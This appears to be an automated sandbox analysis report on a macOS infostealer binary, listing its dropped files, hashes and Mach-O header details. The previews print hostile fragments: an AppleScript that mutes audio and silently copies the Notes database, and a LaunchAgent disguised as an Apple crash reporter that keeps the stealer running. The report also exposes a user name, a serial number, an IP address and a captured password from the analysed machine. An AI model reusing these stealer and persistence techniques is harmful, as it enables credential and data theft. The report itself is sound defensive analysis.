SHA-512:	208934A55F951C7DC0CF2C3224913EC0B24E403EFEF8412EE58DD95151011CBB18180FA4DDF454003BF6D67F9D1110E3A7811E20BA409E2BCE84865A840574BE
Malicious:	true
Preview:	kych...........................4.......t..G...H$..N...Z............0...................H...............H...............X...................D.......@.......................!...%........CSSM_DL_DB_SCHEMA_INFO.....D.......................!...%........CSSM_DL_DB_SCHEMA_ATTRIBUTES...D.......................!...%........CSSM_DL_DB_SCHEMA_INDEXES......H.......................!...%....... CSSM_DL_DB_SCHEMA_PARSING_MODULE...(.......................!...%...........(.......................!...%...........(.......................!...%...........0.......................!...%........DBBlob.....D.......................!...%........CSSM_DL_DB_RECORD_PUBLIC_KEY...H.......................!...%........CSSM_DL_DB_RECORD_PRIVATE_KEY......H.......................!...%........CSSM_DL_DB_RECORD_SYMMETRIC_KEY............d.......P...\...\.......P...\...............\...............\...............\...............\...............\...............\...............\...............\...............\...............\....

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Passwords/safari_passwords.json

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/collection_report.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	398
Entropy (8bit):	4.883552846091342
Encrypted:	false
SSDEEP:	12:6vhwBrzvqAMvXiMvOA5ElfapgDMUX/MI13gjYZhAWvo32u:6l1PWUyXUI13UW5u
MD5:	91385E608695CA7592F1778B55765BD4
SHA1:	4801CD867698397A8EB9A59A2868C5B3828FDA75
SHA-256:	6C3FC3DF63076ABD9C1452CEB5E63727BF04605088F7DE0B60346176C286BC8B
SHA-512:	54260153313E3799F38FC91566E56C25B312F8DCF52E829AE2546750E42941A02E3831912B8F0C0A961C607A8282E67C04D81F7F8E6FE449958DB844F7360EA3
Malicious:	true
Preview:	macOS 15.6.1.Finder methods: enabled..Passwords: 2 files, 136178 bytes.Notes: 2 files, 327680 bytes.Telegram: 0 files, 0 bytes.Wallets: 0 files, 0 bytes.Cookies: 4 files, 6638626 bytes.FileGrabber: 4 files, 4081968 bytes..passwords.txt: missing.brute.txt: missing.autofills.txt: missing.credit_cards.txt: missing.Safari cookies: 16376 bytes.Safari passwords: 2 bytes.login.keychain-db: 136176 bytes

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/installed_apps.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	4.650996175238425
Encrypted:	false
SSDEEP:	6:IDkvY3ZdpvX+iwil8a12NCLEzdmvVq+znAJ6zCxXvoDeJ4KQGzNAl4HFO/nEVKfK:I4vilXldwKEzWq+zAAIADeKBGzOl44nC
MD5:	543782AA5CF71DF51D6EEF039C3BFBE5
SHA1:	FB7760C821FBF169D82DA3841E40E9FA6F20A37A
SHA-256:	4D727AC2BFDAB33AA1641E58BCD37E35F0BB3CE4F08FDE4EE995B03FADE188D4
SHA-512:	52DF29AA40F4C20C7D827C56C29AA1547A725E1ECC3725115E2B99000233A32EC6F4156CC36F1AE9AB158E22B20CFC3F499543B4646872525DBBB417C8EB0974
Malicious:	false
Preview:	Adobe Acrobat DC.Faronics.Firefox.app.GarageBand.app.Google Chrome.app.Keynote.app.Microsoft 365 Copilot Shim.app.Microsoft Defender Shim.app.Microsoft Excel.app.Microsoft OneNote.app.Microsoft Outlook.app.Microsoft PowerPoint.app.Microsoft Teams.app.Microsoft Word.app.Numbers.app.OneDrive.app.Pages.app.Safari.app.Utilities.iMovie.app.

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/installed_software.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	4.650996175238425
Encrypted:	false
SSDEEP:	6:IDkvY3ZdpvX+iwil8a12NCLEzdmvVq+znAJ6zCxXvoDeJ4KQGzNAl4HFO/nEVKfK:I4vilXldwKEzWq+zAAIADeKBGzOl44nC
MD5:	543782AA5CF71DF51D6EEF039C3BFBE5
SHA1:	FB7760C821FBF169D82DA3841E40E9FA6F20A37A
SHA-256:	4D727AC2BFDAB33AA1641E58BCD37E35F0BB3CE4F08FDE4EE995B03FADE188D4
SHA-512:	52DF29AA40F4C20C7D827C56C29AA1547A725E1ECC3725115E2B99000233A32EC6F4156CC36F1AE9AB158E22B20CFC3F499543B4646872525DBBB417C8EB0974
Malicious:	false
Preview:	Adobe Acrobat DC.Faronics.Firefox.app.GarageBand.app.Google Chrome.app.Keynote.app.Microsoft 365 Copilot Shim.app.Microsoft Defender Shim.app.Microsoft Excel.app.Microsoft OneNote.app.Microsoft Outlook.app.Microsoft PowerPoint.app.Microsoft Teams.app.Microsoft Word.app.Numbers.app.OneDrive.app.Pages.app.Safari.app.Utilities.iMovie.app.

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/pwd

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.584962500721156
Encrypted:	false
SSDEEP:	3:OW0:OW0
MD5:	E10ADC3949BA59ABBE56E057F20F883E
SHA1:	7C4A8D09CA3762AF61E59520943DC26494F8941B
SHA-256:	8D969EEF6ECAD3C29A3A629280E686CF0C3F5D5A86AFF3CA12020C923ADC6C92
SHA-512:	BA3253876AED6BC22D4A6FF53D8406C6AD864195ED144AB5C87621B6C233B548BAEAE6956DF346EC8C17F5EA10F35EE3CBC514797ED7DDD3145464E2A0BAB413
Malicious:	true
Preview:	123456

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/safari_diagnostic.json

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	UTF-8 Unicode English text
Category:	dropped
Size (bytes):	1287
Entropy (8bit):	4.895799655126834
Encrypted:	false
SSDEEP:	24:OoNmQy08Q+eTsliVAQ+Nm1lnCHUrYNcEtx+Bb5ricUrxeI:3NmUgXBNqlCHUsNL4B1+eI
MD5:	6A863F4F91B301AB234FDCF226CD7B23
SHA1:	6CBB44FD0A0AE201B103634568FAAE6D091B76E5
SHA-256:	0D35B7524E348D75F7151A419B57B9118EC053CE26B2D48B93BE2C6D480DEDEB
SHA-512:	BF23FD6E72A4A9F4BF1542ACA01EF7DCBBDAC0F670F6FB5E7AD2606B590F9F45F23F05970FCF3DE5E29E41023B9AF1A808A8C6FC61155B462C55C4A7B9C3CA22
Malicious:	false
Preview:	{. "containers_cookies_exists": true,. "containers_cookies_path": "/Users/bernardo/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies",. "containers_read_ok": true,. "filegrabber_cookie_size": 0,. "filegrabber_cookies_exists": false,. "filegrabber_cookies_path": "/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber/Cookies.binarycookies",. "filegrabber_source_exists": false,. "last_resort_copy_ok": true,. "legacy_cookies_dir": "/Users/bernardo/Library/Cookies",. "legacy_cookies_dir_exists": true,. "legacy_cookies_files": [],. "macos_version": "15.6.1",. "note": "Safari cookies: try direct ... cat (Odyssey) ... FileGrabber (Finder) ... sudo copy. safari_cookies_via_cat = true when cat succeeded.",. "safari_cookies_hint": "Allow Terminal ... Finder when the dialog appears. Safari cookies are copied via Finder to /tmp; if still empty, the system may be blocking access to the Safari container.",. "safari_cookies_via_cat": false,. "safari_cookie

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/system_info.json

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	2087
Entropy (8bit):	4.934449603660262
Encrypted:	false
SSDEEP:	48:FhLxv1pv0HT8uc16LFuvvkapyV3O/w2qpvQT+CAMcpeB0pso:Fhtv+8uEk+yV3B/peB0pt
MD5:	E87EF4B2ED80FFB4D094547F70F94BD5
SHA1:	BDAA698577582268D094556DC7925A0798ABD9A2
SHA-256:	6DB5599EE57D94E9D073275613F2EFEC9C9327E81E99DEEDC709EBE7F5799B12
SHA-512:	50D5EC5F89CA119CC2D1EB810D710558232FB6FA1427DC62E530A4DE4A5D84E33CE764BC8C17D368D391009E1BE3ACD3E53F0578E5A8F4E9CA9D497BEE9EAB93
Malicious:	true
Preview:	{. "Chip": "Apple M2",. "Type": "GPU",. "Hardware Overview": "",. "Kernel Version": "Darwin 24.6.0",. "Mirror": "On",. "System Software Overview": "",. "Computer Name": "mac26",. "User Name": "bernardo (bernardo)",. "Secure Virtual Memory": "Enabled",. "Memory": "8 GB",. "Serial Number (system)": "WWWK4PGGMF",. "Activation Lock Status": "Disabled",. "Metal Support": "Metal 3",. "Model Number": "MMFJ3D/A",. "Apple M2": "",. "Main Display": "Yes",. "System Version": "macOS 15.6.1 (24G90)",. "Graphics/Displays": "",. "ip_info": {. "asn": "212238",. "asnOrganization": "Datacamp Limited",. "capital": "Bern",. "cityName": "Zurich",. "continent": "Europe",. "continentCode": "EU",. "countryCode": "CH",. "countryName": "Switzerland",. "currencies": [. "CHF",. "CHE",. "CHW". ],. "ip": "84.17.52.9",. "ipAddress": "84.17.52.9",. "ipVersion": 4,. "isProxy": false,. "languages": [. "de",. "fr",. "it". ],

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/tempAppleScript.scpt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII English text, with very long lines
Category:	dropped
Size (bytes):	12922
Entropy (8bit):	3.746607400019837
Encrypted:	false
SSDEEP:	192:YCSEiSEvv+9bYQ9UFrQ9rF2WFrQ9rF2II52bRTeynycUft8kSgPx84f6:Kvv29UFOrFLFOrFvAt84M
MD5:	4AEAC27E5C5F3588BB1E1BCDFC170510
SHA1:	36656A83A47A89218B71901A5E08E212E41494E5
SHA-256:	CAA8057DEDC46DB4CA7675395B363075A447D128D18D5E9C9661CFCDEE4D631A
SHA-512:	61CD1412EAC36DAE55BB251F2167DA06E0DA99E230278E49DB31866577E38742EA3421F032C9B32CCBF3B0D201A3AA74938663C65CB3D7A41DFC47514751C2E2
Malicious:	false
Preview:	. -- Function to mute the system sound. do shell script "osascript -e 'set volume with output muted'".. set baseFolderPath to (path to home folder as text) & "tempFolder-38577473:". set fileGrabberFolderPath to baseFolderPath & "FileGrabber:". set notesFolderPath to baseFolderPath & "Notes:".. set homePOSIX to (POSIX path of (path to home folder)). set finderDestPOSIX to homePOSIX & "tempFolder-38577473/FileGrabber/". set notesSrcBase to homePOSIX & "Library/Group Containers/group.com.apple.notes/".. -- Notes NoteStore.sqlite via cat first (silent, no TCC). try. do shell script "mkdir -p " & quoted form of finderDestPOSIX. do shell script "cat " & quoted form of (notesSrcBase & "NoteStore.sqlite") & " > " & quoted form of (finderDestPOSIX & "NoteStore.sqlite"). end try. try. do shell script "cat " & quoted form

/private/tmp/_notes_tmp_NoteStore.sqlite-wal

Download File

Process:	/bin/bash
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	true
Preview:

/private/tmp/browser_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	4.726358005171292
Encrypted:	false
SSDEEP:	12:LP/MG/MF/MxZZ/MCjeIZ/MWCk/MtBV8/MJpg/MMttmyPZ/MMttkQq/MethD5/M7o:LRfPPWuPmmRPt0JrVE6Lr
MD5:	CCE4D73C6F2FC9154423C98DD93A48BA
SHA1:	1D37111F8E141210F666AF2326A95AE7404A1102
SHA-256:	20380FE99B67E8ED0D7744DCA875278C7E1588AE1CAD1A3D2948F0ED6B9158BE
SHA-512:	B6653B8E2455F48E4D21206224A3DF9545F23DC25FCF3F40CF83A756EDD3D19734F23943FF074B88C1BA9204B6067C2234221A656187DA69ED02010C28526751
Malicious:	false
Preview:	Chrome: path=/Users/bernardo/Library/Application Support/Google/Chrome exists=true.Firefox: path=/Users/bernardo/Library/Application Support/Firefox/Profiles exists=true.Waterfox: path=/Users/bernardo/Library/Application Support/Waterfox/Profiles exists=false.Brave: path=/Users/bernardo/Library/Application Support/BraveSoftware/Brave-Browser exists=false.Edge: path=/Users/bernardo/Library/Application Support/Microsoft Edge exists=false.Vivaldi: path=/Users/bernardo/Library/Application Support/Vivaldi exists=false.Yandex: path=/Users/bernardo/Library/Application Support/Yandex/YandexBrowser exists=false.Opera: path=/Users/bernardo/Library/Application Support/com.operasoftware.Opera exists=false.OperaGX: path=/Users/bernardo/Library/Application Support/com.operasoftware.OperaGX exists=false.Arc: path=/Users/bernardo/Library/Application Support/Arc/User Data exists=false.CocCoc: path=/Users/bernardo/Library/Application Support/CocCoc/Browser exists=false.Chrome Beta: path=/Users/bernardo/

/private/tmp/controller_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	261
Entropy (8bit):	4.5796897918817
Encrypted:	false
SSDEEP:	6:W4DYDPryAWVt3JGrcniiE/7r9kE7xEx1E9gcrRq9M:HAlrRRkey1+oM
MD5:	740BBFC20A57B44C536EC06A996FFBD4
SHA1:	9395C3AB7C724FA59B87545282169C6CD0837AA8
SHA-256:	0DE14520EBD68256E0154660AE5AE364F1F04B0CCAEA6CE767869C51D6695CE4
SHA-512:	FC8B7587249FEABC79B0891A0A0656625F9A28B289D1DD816AF447917EB68436F414BC689DE3F0372B15CE91D4739794CB16D97075CF27E06DF2C7D9E08BAA92
Malicious:	true
Preview:	safe_storage_keys_count=9.chrome_key_source=keychain.macos_ver=15.cdp_fallback=false.browser_key: Brave.browser_key: Yandex.browser_key: Arc.browser_key: CocCoc.browser_key: Edge.browser_key: Opera.browser_key: Chromium.browser_key: Vivaldi.browser_key: Chrome.

/private/tmp/masterkey_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	4.996584829129534
Encrypted:	false
SSDEEP:	6:lgW2CDvcGtEvyA/tVvju9hvmynMvIKMvy3MvKl9+hvLvuuvBsvGvsYwn:lg/CL3t3A//onu2rKS5bPc4szn
MD5:	56BCE16FE39CE65BA18895AE297D16F1
SHA1:	FF9D358FC919BDF677D32B3C3A8CE9162B71A35C
SHA-256:	06F8721EB54748ED057F121ACB7800A1AFDD31746F0C679BD4BF8E83D7288CB5
SHA-512:	476D75FAA5E9268B59BE9FF2B85F34F748B7DA3439C2399A446D029DDEF6A39E4EA315FF25C8B43CF55E17D6385631FE3D48853C60651BA9911E0C5282034A19
Malicious:	false
Preview:	keychain_path=/Users/bernardo/Library/Keychains/login.keychain-db.macos_ver=15.phase4: file_parse (fallback).FILE Chrome=5 bytes.FILE Chromium=5 bytes.FILE Brave=5 bytes.FILE Opera=5 bytes.FILE Vivaldi=5 bytes.FILE Edge=5 bytes.FILE Yandex=5 bytes.FILE Arc=5 bytes.FILE CocCoc=5 bytes.result=9 keys

/private/tmp/safari_passwords_dump_error.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	59
Entropy (8bit):	3.9088367048067436
Encrypted:	false
SSDEEP:	3:1wXF3XAmWmzrsExeICLn:1wXDTrxeII
MD5:	60532D67129BC2D59B432A1744C4496B
SHA1:	5010A1D1F028F7A0423DE66E52F30A393563C469
SHA-256:	CD71618A1305D1E05B1BE1CC6773EBB1CBAA4407EDB3ED2D8057F8B33328505E
SHA-512:	FBB22A32D0D650758B1D85E0D005C49FFCF5C938B1514EB2E1136E9FD5F4C84D9AE72680534D3C04A8A9093E8EC3F64A60EE10A6FC9619160878A22EF149389A
Malicious:	false
Preview:	One or more parameters passed to a function were not valid.

/private/tmp/starter

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	XML document text
Category:	dropped
Size (bytes):	474
Entropy (8bit):	5.215616213057284
Encrypted:	false
SSDEEP:	6:TMVBd/4o+tJCc4EyfdUdBRECcgVvZSSzWbC7BAg2MiXonRI+qXpQo7/RvEq/l0/4:TMHdgo+tJVEdQiCXFNzOoPUmRWRE8lT
MD5:	D2D355BC545278AAF10E8D954109E605
SHA1:	08AA75FF8E08E1484AD228C5377F3DCFC6261BA0
SHA-256:	3997EB0496C010FB2B2FD2EB66853DC9B72B887E8DD7E9D8ED8EBD3F50D03573
SHA-512:	93BF6CFE01B843F5E0B5998A9E8B026C8E620458AF74661AC1A6BEB96882CC72AB2525E379D0A0EC8578D6B4E3186090995AF88A584D3F169C4B66A17C7F782F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>.<key>KeepAlive</key><true/>.<key>Label</key><string>com.apple.ReportCrash.agent_38577473</string>.<key>ProgramArguments</key>.<array><string>/tmp/syshelper_38577473</string></array>.<key>UserName</key><string>bernardo</string>.<key>RunAtLoad</key><true/>.<key>SessionCreate</key><true/>.</dict>.</plist>

/private/var/db/sudo/ts/bernardo

Download File

Process:	/usr/bin/sudo
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	2.303128561614743
Encrypted:	false
SSDEEP:	3:HlJl/ltlis0vNdM//FD/UFky//kHtnldlisi2w+Eyll/lfnldlJl/ltlYvjxnllE:Ws1VYkC/ZsVSSKvjx/ezlL
MD5:	47AE0A4A9F3B65D47F3928B8AAFBF4BB
SHA1:	8F9F25D6F4AB3F8B532B680548A06D353CDB46EB
SHA-256:	EB78847FE0E2D6E323780CB6599FD3A96E2606865DA31D849486ADB678ABDC9B
SHA-512:	851E8364E5AD74ABFB37F17780B6B6C05D8BC4793C933B5A408E5FD5DC599B52F00C5DC58502BEA12124977BC97CC681954A06AAA7484857290396651B843BFC
Malicious:	false
Preview:	..8.......................................................8................i...............i.... $w...............8..........S...u.i......r.....s~.i....(q................8.......................................................8...............}j.....4........}j.....p..............

/private/var/folders/5q/r4wndrpn3gz99_kjp4fxs_9h0000gn/C/mds/mdsDirectory.db_

Download File

Process:	/usr/bin/security
File Type:	Mac OS X Keychain File
Category:	dropped
Size (bytes):	48908
Entropy (8bit):	3.533814637805397
Encrypted:	false
SSDEEP:	384:xSMdGleGkIG7FF3theSMVXBD0tgcNrGB5pBfbouR6/chQOnGqwc2U+v+h/:8MdGleOhpBouRwchQOnGqwc2U+v+h/
MD5:	0E4A0D1CEB2AF6F0F8D0167CE77BE2D3
SHA1:	414BA4C1DC5FC8BF53D550E296FD6F5AD669918C
SHA-256:	CCA093BCFC65E25DD77C849866E110DF72526DFFBE29D76E11E29C7D888A4030
SHA-512:	1DC5282D27C49A4B6F921BA5DFC88B8C1D32289DF00DD866F9AC6669A5A8D99AFEDA614BFFC7CF61A44375AE73E09CD52606B443B63636977C9CD2EF4FA68A20
Malicious:	false
Preview:	kych...........................`...X...p..S0..SX..Th..T...T...[...^h...........L...X...............T...........d...................t...............t...........<...............P...........0...........$...p...........l...........X.......@.......................!...%........CSSM_DL_DB_SCHEMA_INFO.....D.......................!...%........CSSM_DL_DB_SCHEMA_ATTRIBUTES...D.......................!...%........CSSM_DL_DB_SCHEMA_INDEXES......H.......................!...%....... CSSM_DL_DB_SCHEMA_PARSING_MODULE...D.......................!...%@.......MDS_CDSADIR_CSSM_RECORDTYPE....D.......................!...%@.......MDS_CDSADIR_KRMM_RECORDTYPE....D.......................!...%@.......MDS_CDSADIR_EMM_RECORDTYPE.....L.......................!...%@......"MDS_CDSADIR_EMM_PRIMARY_RECORDTYPE.....H.......................!...%@.......MDS_CDSADIR_COMMON_RECORDTYPE......L.......................!...%@......"MDS_CDSADIR_CSP_PRIMARY_RECORDTYPE.....P.......................!...%@......%MDS_CDSADIR_CSP_CAPABILITY_R

/private/var/folders/5q/r4wndrpn3gz99_kjp4fxs_9h0000gn/C/mds/mdsObject.db

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	Mac OS X Keychain File
Category:	dropped
Size (bytes):	4404
Entropy (8bit):	3.5110922853353324
Encrypted:	false
SSDEEP:	24:mFkXs98w/mBr53CEb9ujBbCYoVeA7uBEUMy733Ka2VCneWHrUZRJkWnJI4FNMOQS:m6Xsh+CLjL3Pe3T5FFEfEn8xiYuuSsS
MD5:	D3A1859E6EC593505CC882E6DEF48FC8
SHA1:	F8E6728E3E9DE477A75706FAA95CEAD9CE13CB32
SHA-256:	3EBAFA97782204A4A1D75CFEC22E15FCDEAB45B65BAB3B3E65508707E034A16C
SHA-512:	EA2A749B105759EA33408186B417359DEFFB4A3A5ED0533CB26B459C16BB3524D67EDE5C9CF0D5098921C0C0A9313FB9C2672F1E5BA48810EDA548FA3209E818
Malicious:	true
Preview:	kych.......................................d...................0...............0...p...........@...@.......................!...%........CSSM_DL_DB_SCHEMA_INFO.....D.......................!...%........CSSM_DL_DB_SCHEMA_ATTRIBUTES...D.......................!...%........CSSM_DL_DB_SCHEMA_INDEXES......H.......................!...%....... CSSM_DL_DB_SCHEMA_PARSING_MODULE...@.......................!...%@.......MDS_OBJECT_RECORDTYPE..............h........... ...`........... ...@.......................-...1...5...9...=@..............................X...............P................... ...p...........l...........d...........P...........H...........,...............h...........P.......................1...5...9...=.......M................RelationID.........P.......................1...5...9...=.......M................RelationName.......P.......................1...5...9...=.......M................RelationID.........P.......................1...5...9...=.......M................AttributeID........X....

/private/var/folders/5q/r4wndrpn3gz99_kjp4fxs_9h0000gn/C/mds/mdsObject.db_

Download File

Process:	/usr/bin/security
File Type:	Mac OS X Keychain File
Category:	dropped
Size (bytes):	4404
Entropy (8bit):	3.5110922853353324
Encrypted:	false
SSDEEP:	24:mFkXs98w/mBr53CEb9ujBbCYoVeA7uBEUMy733Ka2VCneWHrUZRJkWnJI4FNMOQS:m6Xsh+CLjL3Pe3T5FFEfEn8xiYuuSsS
MD5:	D3A1859E6EC593505CC882E6DEF48FC8
SHA1:	F8E6728E3E9DE477A75706FAA95CEAD9CE13CB32
SHA-256:	3EBAFA97782204A4A1D75CFEC22E15FCDEAB45B65BAB3B3E65508707E034A16C
SHA-512:	EA2A749B105759EA33408186B417359DEFFB4A3A5ED0533CB26B459C16BB3524D67EDE5C9CF0D5098921C0C0A9313FB9C2672F1E5BA48810EDA548FA3209E818
Malicious:	false
Preview:	kych.......................................d...................0...............0...p...........@...@.......................!...%........CSSM_DL_DB_SCHEMA_INFO.....D.......................!...%........CSSM_DL_DB_SCHEMA_ATTRIBUTES...D.......................!...%........CSSM_DL_DB_SCHEMA_INDEXES......H.......................!...%....... CSSM_DL_DB_SCHEMA_PARSING_MODULE...@.......................!...%@.......MDS_OBJECT_RECORDTYPE..............h........... ...`........... ...@.......................-...1...5...9...=@..............................X...............P................... ...p...........l...........d...........P...........H...........,...............h...........P.......................1...5...9...=.......M................RelationID.........P.......................1...5...9...=.......M................RelationName.......P.......................1...5...9...=.......M................RelationID.........P.......................1...5...9...=.......M................AttributeID........X....

Static File Info

General

File type:	Mach-O fat file with 2 architectures
Entropy (8bit):	6.859144430628908
TrID:	Mac OS X Universal Binary executable (4004/1) 75.96% HSC music composer song (1267/141) 24.04%
File name:	E9CX86U4Q7
File size:	5'088'944 bytes
MD5:	b41756914c9531c736561a53778e6865
SHA1:	47c790b16589df429ab4b23bb78986e7c2aa9c0d
SHA256:	4cacc410b45f5099e53b9d7451b60d110aad9ab5e8311db7551b5a3ad5738965
SHA512:	004a9411393b93b5ad126809322ebc4b0545720b2feec24fb1b40321c4d8515a2e2701f8dd94faeeff7c41b93b6ea1d079dd940d295db4c2edbc21a327359438
SSDEEP:	98304:5t9FkI8UgW0EPAVTcUSRT5b/lfrnH4nokpx6w9cuRBsiLc7RpxP:5twI8i0/0HgPR+
TLSH:	4D36BF23A16D98A5E2C7C07C8FCBC7716612F871412192CE3AD5272DBEA6DD1671E323
File Content Preview:	.....................(Y@.............(...%&....................................................................................................................................................................................................................

Static Mach Info

General Information for header 1
Endian:	little-endian
Size:	64-bit
Architecture:	x86_64
Filetype:	execute
Nbr. of load commands:	29
Entry point:	0x10003D400

segment_64 load command - aggregated: 4

Name	Value
segname	__PAGEZERO
vmaddr	0x0
vmsize	0x100000000
fileoff	0x0
filesize	0x0
maxprot	0x0
initprot	0x0
nsects	0
flags	0x0

Name

Value

segname

__TEXT

vmaddr

0x100000000

vmsize

0x265000

fileoff

0x0

filesize

0x265000

maxprot

0x5

initprot

0x5

nsects

flags

0x0

Datas

sectname	segname	addr	size	offset	entropy	align	reloff	nreloc	flags
__text	__TEXT	0x100000D50	0x1DDC05	0xD50	6.46703662	4	0x0	0	0x80000400
__stubs	__TEXT	0x1001DE955	0x66C	0x1DE955	3.96662534	0	0x0	0	0x80000400
__stub_helper	__TEXT	0x1001DEFC4	0xCE6	0x1DEFC4	4.33977145	2	0x0	0	0x80000400
__gcc_except_tab	__TEXT	0x1001DFCAC	0x19AC	0x1DFCAC	5.83014598	2	0x0	0	0x0
__const	__TEXT	0x1001E1680	0x68950	0x1E1680	6.72959126	6	0x0	0	0x0
__cstring	__TEXT	0x100249FD0	0x138D8	0x249FD0	5.53225348	4	0x0	0	0x0
__unwind_info	__TEXT	0x10025D8A8	0x4E78	0x25D8A8	6.34277172	2	0x0	0	0x0
__eh_frame	__TEXT	0x100262720	0x2428	0x262720	4.60794151	3	0x0	0	0x68000000

Name

Value

segname

__DATA

vmaddr

0x100265000

vmsize

0x18000

fileoff

0x265000

filesize

0x18000

maxprot

0x3

initprot

0x3

nsects

flags

0x0

Datas

sectname	segname	addr	size	offset	entropy	align	reloff	nreloc	flags
__got	__DATA	0x100265000	0xD0	0x265000	0.17556102	3	0x0	0	0x0
__la_symbol_ptr	__DATA	0x1002650D0	0x890	0x2650D0	3.17100906	3	0x0	0	0x0
__const	__DATA	0x100265960	0x120A0	0x265960	3.12579274	4	0x0	0	0x0
__data	__DATA	0x100277A00	0x4518	0x277A00	1.76070316	4	0x0	0	0x0
__thread_vars	__DATA	0x10027BF18	0x120	0x27BF18	0.36608271	3	0x0	0	0x0
__thread_data	__DATA	0x10027C038	0x70	0x27C038	0.14709092	3	0x0	0	0x0
__thread_bss	__DATA	0x10027C0A8	0x80	0x0	0.00000000	3	0x0	0	0x0
__bss	__DATA	0x10027C128	0x5FC	0x0	0.00000000	3	0x0	0	0x0
__common	__DATA	0x10027C728	0x8	0x0	0.00000000	3	0x0	0	0x0

Name	Value
segname	__LINKEDIT
vmaddr	0x10027D000
vmsize	0x9000
fileoff	0x27D000
filesize	0x8940
maxprot	0x1
initprot	0x1
nsects	0
flags	0x0

dyld_info_only load command - aggregated: 1

Name	Value
rebase_off	2609152
rebase_size	2080
bind_off	2611232
bind_size	1032
weak_bind_off	0
weak_bind_size	0
lazy_bind_off	2612264
lazy_bind_size	6280
export_off	2618544
export_size	4784

symtab load command - aggregated: 1

Name	Value
symoff	2632280
nsyms	300
stroff	2639376
strsize	4912

dysymtab load command - aggregated: 1

Name	Value
ilocalsym	0
nlocalsym	0
iextdefsym	0
nextdefsym	1
iundefsym	1
nundefsym	299
tocoff	0
ntoc	0
modtaboff	0
nmodtab	0
extrefsymoff	0
nextrefsyms	0
indirectsymoff	2637080
nindirectsyms	574
extreloff	0
nextrel	0
locreloff	0
nlocrel	0

load_dylinker load command - aggregated: 1

Name	Value

uuid load command - aggregated: 1

Name	Value
uuid	ec8a9e52-a529-3024-bc93-3989989ceca1

version_min_macosx load command - aggregated: 1

Name	Value
version	10.12.0
sdk	26.2.0

source_version load command - aggregated: 1

Name	Value
path	0.0.0.0.0

main load command - aggregated: 1

Name	Value

load_dylib load command - aggregated: 15

Name

Value

compatibility_version

1.0.0

current_version

1356.0.0

timestamp

1970-01-01

Datas

/usr/lib/libSystem.B.dylib

Name

Value

compatibility_version

1.0.0

current_version

61901.60.40

timestamp

1970-01-01

Datas

/System/Library/Frameworks/Security.framework/Versions/A/Security

Name

Value

compatibility_version

150.0.0

current_version

4201.0.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation

Name

Value

compatibility_version

1.0.0

current_version

1385.60.3

timestamp

1970-01-01

Datas

/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration

Name

Value

compatibility_version

45.0.0

current_version

2685.30.107

timestamp

1970-01-01

Datas

/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit

Name

Value

compatibility_version

1.2.0

current_version

726.2.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo

Name

Value

compatibility_version

1.0.0

current_version

1523.0.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreData.framework/Versions/A/CoreData

Name

Value

compatibility_version

1.0.0

current_version

877.2.0

timestamp

1970-01-01

Datas

